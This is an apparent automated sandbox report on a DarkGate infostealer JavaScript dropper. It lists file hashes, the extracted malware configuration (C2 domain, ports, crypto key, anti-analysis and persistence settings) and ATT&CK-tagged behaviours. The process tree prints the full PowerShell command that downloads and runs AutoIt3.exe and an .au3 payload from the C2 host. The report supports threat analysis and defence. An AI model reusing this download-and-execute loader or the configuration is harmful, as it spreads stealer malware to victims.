darkgate | 5d7605d640f5ede04a0e61024513f386730bfa223f39ac0d4cf2830ea6dc8500

Resubmissions

27/10/2023, 17:41

231027-v9hqxsgb3s 10

27/10/2023, 17:25

231027-vzpfqahf58 10

27/10/2023, 17:25

231027-vy9p9shf56 10

Analysis

max time kernel
177s
max time network
286s
platform
windows10-1703_x64
resource
win10-20231020-en
resource tags

arch:x64arch:x86image:win10-20231020-enlocale:en-usos:windows10-1703-x64system
submitted
27/10/2023, 17:25

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General

Target

28102023_0125_trumpet.js
Size

134KB
MD5

63fdbf0bf47d957bc9e77b9bbc7cdaf0
SHA1

3f3d8c96f6cf374c22dd6eac5a1c958482bbe829
SHA256

5d7605d640f5ede04a0e61024513f386730bfa223f39ac0d4cf2830ea6dc8500
SHA512

3c5e6568396ccd2fa63b993cab6c925af83b292a1d0f6e0f22c145c65e7723e698efd2613c202177c695e2038a0295855f8d9b7168815630be990430c2e51849
SSDEEP

1536:hZUTSCM9Cfq7u02PmUVdGXjXl4xc5KTPBoMqS7j8frPWgtZPnCUQrNgZnFFQE/08:UT9U7hgaX6eerjqlI2IO6Mzqf40Ml/

Score

10^/10

darkgate user_871236672 stealer

Malware Config

Extracted

Family

darkgate

Botnet

user_871236672

http://profitcentronline.com

Attributes

alternative_c2_port
8080
anti_analysis
true
anti_debug
true
anti_vm
true
c2_port
2351
check_disk
true
check_ram
true
check_xeon
true
crypter_au3
false
crypter_dll
false
crypter_rawstub
true
crypto_key
KispcMbVooJeJD
internal_mutex
txtMut
minimum_disk
40
minimum_ram
6000
ping_interval
4
rootkit
true
startup_persistence
true
username
user_871236672

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	4228	powershell.exe
5	4228	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
824	AutoIt3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoIt3.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4228	powershell.exe
4228	powershell.exe
4228	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4228	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3160 wrote to memory of 4228	3160	wscript.exe	70
PID 3160 wrote to memory of 4228	3160	wscript.exe	70
PID 4228 wrote to memory of 824	4228	powershell.exe	72
PID 4228 wrote to memory of 824	4228	powershell.exe	72
PID 4228 wrote to memory of 824	4228	powershell.exe	72

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\28102023_0125_trumpet.js
1⤵
- Suspicious use of WriteProcessMemory
PID:3160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/temp' -Type Directory -Force;cd 'C:/temp'; Invoke-WebRequest -Uri 'http://profitcentronline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://profitcentronline.com:2351/msidctseyzi' -OutFile 'dctseyzi.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'dctseyzi.au3'"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4228
- - C:\temp\AutoIt3.exe
    "C:\temp\AutoIt3.exe" dctseyzi.au3
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2yemza4q.ta2.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\temp\AutoIt3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

Download Submit
C:\temp\dctseyzi.au3

Filesize
493KB

MD5
ed9069a8f504d2dca660d7ca452df7b5

SHA1
27249509d8c7870e61d1828323b00c8f57534866

SHA256
fe6440f818ad94374740fa7861a2cb28886f07d3b21cd27f28725fe3dc146f98

SHA512
99c0110c6317d82cabdb016613c86413f14494eb019fe9b17788bcb62c3dd3ec0d35db7a2eadee923835a4cabb512b5af0299578a7e1cbd5e4269891df7a8f2f

Download Submit
memory/824-62-0x0000000004A60000-0x0000000004D8A000-memory.dmp

Filesize
3.2MB

Download
memory/824-61-0x0000000001850000-0x0000000001C50000-memory.dmp

Filesize
4.0MB

Download
memory/4228-29-0x00000222620E0000-0x00000222620F0000-memory.dmp

Filesize
64KB

Download
memory/4228-5-0x00007FFCF2760000-0x00007FFCF314C000-memory.dmp

Filesize
9.9MB

Download
memory/4228-33-0x00007FFCF2760000-0x00007FFCF314C000-memory.dmp

Filesize
9.9MB

Download
memory/4228-34-0x00000222620E0000-0x00000222620F0000-memory.dmp

Filesize
64KB

Download
memory/4228-35-0x00000222620E0000-0x00000222620F0000-memory.dmp

Filesize
64KB

Download
memory/4228-10-0x0000022262370000-0x00000222623E6000-memory.dmp

Filesize
472KB

Download
memory/4228-7-0x00000222620E0000-0x00000222620F0000-memory.dmp

Filesize
64KB

Download
memory/4228-59-0x00007FFCF2760000-0x00007FFCF314C000-memory.dmp

Filesize
9.9MB

Download
memory/4228-4-0x00000222620A0000-0x00000222620C2000-memory.dmp

Filesize
136KB

Download
memory/4228-6-0x00000222620E0000-0x00000222620F0000-memory.dmp

Filesize
64KB

Download